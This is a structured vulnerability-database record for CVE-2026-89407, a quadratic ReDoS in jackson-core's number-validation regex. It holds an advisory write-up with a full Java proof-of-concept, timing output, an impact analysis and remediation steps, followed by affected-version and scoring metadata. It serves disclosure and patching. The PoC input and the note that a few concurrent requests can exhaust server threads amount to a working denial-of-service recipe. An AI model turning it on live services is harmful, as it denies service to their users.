{"schema":"threatline.record/2","record":{"id":"CVE-2026-89407","aliases":["GHSA-p6pp-m3f8-5c89"],"summary":" jackson-core: ReDoS: quadratic backtracking in NumberInput.PATTERN_FLOAT via looksLikeValidNumber()","details":"## Status\n\n**FULLY REPRODUCED** with a clean, textbook empirical signature: measured runtime grew almost\nexactly 4x for every doubling of input size across five consecutive doublings (5,000 → 160,000\ncharacters), confirming O(n²) behavior. A single 160,000-character string (smaller than a typical\nHTTP request body) took **74.4 seconds** for one call to `NumberInput.looksLikeValidNumber()`.\n\n## Affected Component / Version\n\n- **Package:** `com.fasterxml.jackson.core:jackson-core`\n- **Confirmed against:** `jackson-core-2.20.2`\n- **Affected file:** `src/main/java/com/fasterxml/jackson/core/io/NumberInput.java`\n  (`PATTERN_FLOAT` line ~41-42, `PATTERN_FLOAT_TRAILING_DOT` line ~51, entry point\n  `looksLikeValidNumber()` lines ~646-656)\n\n## Technical Analysis\n\n```java\nprivate final static Pattern PATTERN_FLOAT = Pattern.compile(\n      \"[+-]?[0-9]*[\\\\.]?[0-9]+([eE][+-]?[0-9]+)?\");\n\nprivate final static Pattern PATTERN_FLOAT_TRAILING_DOT = Pattern.compile(\n        \"[+-]?[0-9]+[\\\\.]\");\n\npublic static boolean looksLikeValidNumber(final String s) {\n    // ... short-circuits only for null/empty/length==1 ...\n    return PATTERN_FLOAT.matcher(s).matches()\n            || PATTERN_FLOAT_TRAILING_DOT.matcher(s).matches();\n}\n```\n\n`PATTERN_FLOAT` contains ambiguous, adjacent quantifiers over the identical character class:\n`[0-9]*` (optional digits), an optional `[.]`, then `[0-9]+` (required digits). Java's\nbacktracking `Pattern`/`Matcher` engine has no possessive quantifiers or atomic grouping here,\nso on a non-matching input the engine must explore every possible split point between the\n`[0-9]*` and `[0-9]+` groups before concluding failure — the classic quadratic-backtracking\nshape. `looksLikeValidNumber()` compounds the cost by running a **second** full-string regex\n(`PATTERN_FLOAT_TRAILING_DOT`) whenever the first fails, roughly doubling the constant factor\nwithout changing the asymptotic class.\n\nCritically, the length gate that applies to this specific path is\n`StreamReadConstraints.maxStringLength` (default **20,000,000**), not `maxNumberLength`\n(default **1,000**) — the length ceiling the library uses everywhere else for numeric content.\nThis means inputs up to four orders of magnitude larger than the library's own numeric-length\npolicy reach this quadratic regex unmodified.\n\n## Reproduction Procedure\n\nSame clone/build steps as `jackson-core_1_...md`. Then:\n\n```bash\nCP=\"build/classes:build/lib/fastdoubleparser-2.0.1.jar\"\njavac -cp \"$CP\" -d poc poc/PoC8_NumberInputReDoS.java\njava -cp \"poc:$CP\" PoC8_NumberInputReDoS\n```\n\n## Full PoC Source (`poc/PoC8_NumberInputReDoS.java`)\n\n```java\nimport com.fasterxml.jackson.core.io.NumberInput;\n\npublic class PoC8_NumberInputReDoS {\n\n    public static void main(String[] args) {\n        int[] sizes = {5_000, 10_000, 20_000, 40_000, 80_000, 160_000};\n        long[] timesMs = new long[sizes.length];\n\n        System.out.println(\"Timing NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\\n\");\n\n        for (int i = 0; i < sizes.length; i++) {\n            int n = sizes[i];\n            String s = repeat('1', n) + \"x\";\n\n            if (i == 0) {\n                NumberInput.looksLikeValidNumber(repeat('1', 200) + \"x\"); // warm up\n            }\n\n            long t0 = System.nanoTime();\n            boolean result = NumberInput.looksLikeValidNumber(s);\n            long elapsedMs = (System.nanoTime() - t0) / 1_000_000;\n            timesMs[i] = elapsedMs;\n\n            System.out.printf(\"n=%-8d looksLikeValidNumber=%-6b elapsed=%6d ms%n\", n, result, elapsedMs);\n        }\n\n        System.out.println(\"\\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\");\n        boolean quadraticSignatureObserved = false;\n        for (int i = 1; i < sizes.length; i++) {\n            double ratio = timesMs[i - 1] == 0 ? Double.NaN : (double) timesMs[i] / (double) timesMs[i - 1];\n            System.out.printf(\"  n=%d -> n=%d : %dms -> %dms  (ratio=%.2fx)%n\",\n                    sizes[i - 1], sizes[i], timesMs[i - 1], timesMs[i], ratio);\n            if (ratio >= 3.0) quadraticSignatureObserved = true;\n        }\n\n        System.out.println(\"\\nLargest test (n=\" + sizes[sizes.length - 1] + \") took \" + timesMs[timesMs.length - 1]\n                + \" ms for a single call from ONE HTTP-body-sized string.\");\n        System.out.println(\"\\ncom.fasterxml.jackson.core.StreamReadConstraints.DEFAULT_MAX_STRING_LENGTH (20,000,000) \"\n                + \"governs this path, not maxNumberLength (1,000).\");\n\n        if (quadraticSignatureObserved) {\n            System.out.println(\"\\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent \"\n                    + \"with quadratic backtracking in PATTERN_FLOAT on non-matching input.\");\n        }\n    }\n\n    static String repeat(char c, int n) {\n        char[] arr = new char[n];\n        java.util.Arrays.fill(arr, c);\n        return new String(arr);\n    }\n}\n```\n\n## Captured Evidence (actual run output)\n\n```\nTiming NumberInput.looksLikeValidNumber(<n ones> + 'x') for growing n:\n\nn=5000     looksLikeValidNumber=false  elapsed=    74 ms\nn=10000    looksLikeValidNumber=false  elapsed=   306 ms\nn=20000    looksLikeValidNumber=false  elapsed=  1157 ms\nn=40000    looksLikeValidNumber=false  elapsed=  4655 ms\nn=80000    looksLikeValidNumber=false  elapsed= 18592 ms\nn=160000   looksLikeValidNumber=false  elapsed= 74393 ms\n\nRatio of elapsed time when n doubles (expect ~2x for linear, ~4x for quadratic):\n  n=5000 -> n=10000 : 74ms -> 306ms  (ratio=4.14x)\n  n=10000 -> n=20000 : 306ms -> 1157ms  (ratio=3.78x)\n  n=20000 -> n=40000 : 1157ms -> 4655ms  (ratio=4.02x)\n  n=40000 -> n=80000 : 4655ms -> 18592ms  (ratio=3.99x)\n  n=80000 -> n=160000 : 18592ms -> 74393ms  (ratio=4.00x)\n\nLargest test (n=160000) took 74393 ms for a single call from ONE HTTP-body-sized string.\n\n=> REPRODUCED: superlinear (>=3x per doubling) time growth observed, consistent with quadratic\nbacktracking in PATTERN_FLOAT on non-matching input.\n```\n\nThis is an unusually clean empirical result: five consecutive doublings each produced a ratio\nbetween 3.78x and 4.14x — matching the theoretical O(n²) prediction (ratio = 4.0x) to within\n5% at every single measurement, leaving essentially no ambiguity about the complexity class.\nExtrapolating this measured curve, a ~1MB string (well within common request body limits) would\ntake on the order of hours for a single call.\n\n## Impact\n\nAny application that coerces a String-typed JSON field to a number (default `jackson-databind`\nbehavior) is exposed: an attacker who can submit a large numeric-looking string (up to\n`maxStringLength`'s default of 20,000,000 characters — far larger than needed given the\nmeasured curve) can pin a request-handling thread for an extended period with a single request.\nBecause the cost scales quadratically, a handful of concurrent moderately-sized requests\n(tens to low hundreds of KB each) is sufficient to exhaust a typical web server's worker thread\npool, denying service to all users.\n\n## Remediation\n\n1. Rewrite `PATTERN_FLOAT` without quantifier ambiguity using possessive quantifiers, e.g.\n   `[+-]?(?:[0-9]++(?:\\.[0-9]*+)?|\\.[0-9]++)(?:[eE][+-]?[0-9]++)?`, which also folds in the\n   trailing-dot case and removes the need for a second full-string scan.\n2. Better: replace the regex entirely with a single-pass hand-written character scan — the same\n   file already contains exactly this pattern for `parseInt`, so the library has both the\n   precedent and the code style available.\n3. Apply an independent length limit (`maxNumberLength`, not the much larger\n   `maxStringLength`) before calling `looksLikeValidNumber()`, closing the four-orders-of-\n   magnitude gap between the two constraints for this specific code path.\n4. Operationally, until fixed: tighten `StreamReadConstraints.maxStringLength` well below its\n   default, and set wall-clock timeouts on parse/coercion operations.","categories":["Libraries & packages"],"product":"com.fasterxml.jackson.core:jackson-core","vendor":"FasterXML","ecosystem":"maven","affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.17.0, <= 2.18.10"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.19.0, <= 2.21.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"range":">= 2.22.0, <= 2.22.2"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"range":">= 3.0.0, <= 3.1.6"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"range":">= 3.2.0, <= 3.2.1"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-89407","source_modified_at":"2026-09-22T15:52:44.881Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"jackson-core","vendor":"FasterXML","versions":[{"lessThanOrEqual":"2.18.10","status":"affected","version":"2.17.0","versionType":"maven"},{"lessThanOrEqual":"2.21.6","status":"affected","version":"2.19.0","versionType":"maven"},{"lessThanOrEqual":"2.22.2","status":"affected","version":"2.22.0","versionType":"maven"}],"defaultStatus":"unaffected"},{"source":"CVE List","source_url":"https://www.cve.org/CVERecord?id=CVE-2026-89407","source_modified_at":"2026-09-22T15:52:44.881Z","fetched_at":"2026-10-23T18:45:31.882637Z","product":"jackson-core","vendor":"FasterXML","versions":[{"lessThanOrEqual":"3.1.6","status":"affected","version":"3.0.0","versionType":"maven"},{"lessThanOrEqual":"3.2.1","status":"affected","version":"3.2.0","versionType":"maven"}],"defaultStatus":"unaffected"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.17.0"},{"fixed":"2.18.11"}]}],"versions":["2.17.0","2.17.1","2.17.2","2.17.3","2.18.0","2.18.0-rc1","2.18.1","2.18.10","2.18.2","2.18.3","2.18.4","2.18.4.1","2.18.5","2.18.6","2.18.7","2.18.8","2.18.9"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.19.0"},{"fixed":"2.21.7"}]}],"versions":["2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.20.0","2.20.0-rc1","2.20.1","2.20.2","2.21.0","2.21.1","2.21.2","2.21.3","2.21.4","2.21.5","2.21.6"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.22.0"},{"fixed":"2.22.3"}]}],"versions":["2.22.0","2.22.1","2.22.2"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"tools.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/tools.jackson.core/jackson-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"fixed":"3.1.7"}]}],"versions":["3.0.0","3.0.1","3.0.2","3.0.3","3.0.4","3.1.0","3.1.0-rc1","3.1.1","3.1.2","3.1.3","3.1.4","3.1.5","3.1.6"]},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"tools.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/tools.jackson.core/jackson-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.2.0"},{"fixed":"3.2.2"}]}],"versions":["3.2.0","3.2.1"]}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.18.11"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.21.7"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"com.fasterxml.jackson.core:jackson-core"},"version":"2.22.3"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"version":"3.1.7"},{"source":"GitHub Advisory Database","source_url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:19:23Z","fetched_at":"2026-10-23T18:42:43.628194Z","package":{"ecosystem":"maven","name":"tools.jackson.core:jackson-core"},"version":"3.2.2"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.18.11"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.21.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"com.fasterxml.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/com.fasterxml.jackson.core/jackson-core"},"version":"2.22.3"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"tools.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/tools.jackson.core/jackson-core"},"version":"3.1.7"},{"source":"OSV","source_url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","source_modified_at":"2026-10-01T15:30:13.452657713Z","fetched_at":"2026-10-23T18:48:36.087640Z","package":{"name":"tools.jackson.core:jackson-core","ecosystem":"Maven","purl":"pkg:maven/tools.jackson.core/jackson-core"},"version":"3.2.2"}],"cvss":7.5,"severity":"High","kev":{"listed":false},"epss":{"probability":0.00546,"percentile":0.45029,"score_date":"2026-10-23"},"published_at":"2026-09-22T14:53:20.999Z","modified_at":"2026-10-01T15:30:13.452657713Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-01T15:19:23Z"},{"source":"CVE List","url":"https://www.cve.org/CVERecord?id=CVE-2026-89407","fetched_at":"2026-10-23T18:45:31.882637Z","source_modified_at":"2026-09-22T15:52:44.881Z"},{"source":"OSV","url":"https://osv.dev/vulnerability/GHSA-p6pp-m3f8-5c89","fetched_at":"2026-10-23T18:48:36.087640Z","source_modified_at":"2026-10-01T15:30:13.452657713Z"},{"source":"EPSS","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-89407","fetched_at":"2026-10-23T18:42:43.628194Z","source_modified_at":"2026-10-23"}],"sources":["GitHub Advisory Database","CVE List","OSV","EPSS"],"references":[{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/security/advisories/GHSA-p6pp-m3f8-5c89","tags":["exploit"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-89407","source":"GitHub Advisory Database"},{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/issues/1649","tags":["issue-tracking"]},{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/pull/1650","tags":["patch"]},{"source":"CVE List","url":"https://github.com/FasterXML/jackson-core/pull/1701","tags":["patch"]},{"url":"https://github.com/FasterXML/jackson-core/commit/731e794f62623aa0d86ced52490166be903fbb1d","source":"GitHub Advisory Database"},{"url":"https://github.com/FasterXML/jackson-core/commit/e7acd64cc99bd346704423dc2bfea1ab0a08ddff","source":"GitHub Advisory Database"},{"url":"https://github.com/advisories/GHSA-p6pp-m3f8-5c89","source":"GitHub Advisory Database"}],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"cve_state":"PUBLISHED","ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","assessed_at":"2026-09-22T15:52:15.349840Z"},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":"ecosystem","confidence":"heuristic","reviewed":false},"change_timestamp":"2026-10-01T15:30:13.452657713Z","content_hash":"64b4dab485885ac864b8f24ecb07ef6b2a5d5d0a42c11becb3ebcb0cf04d107f"}}
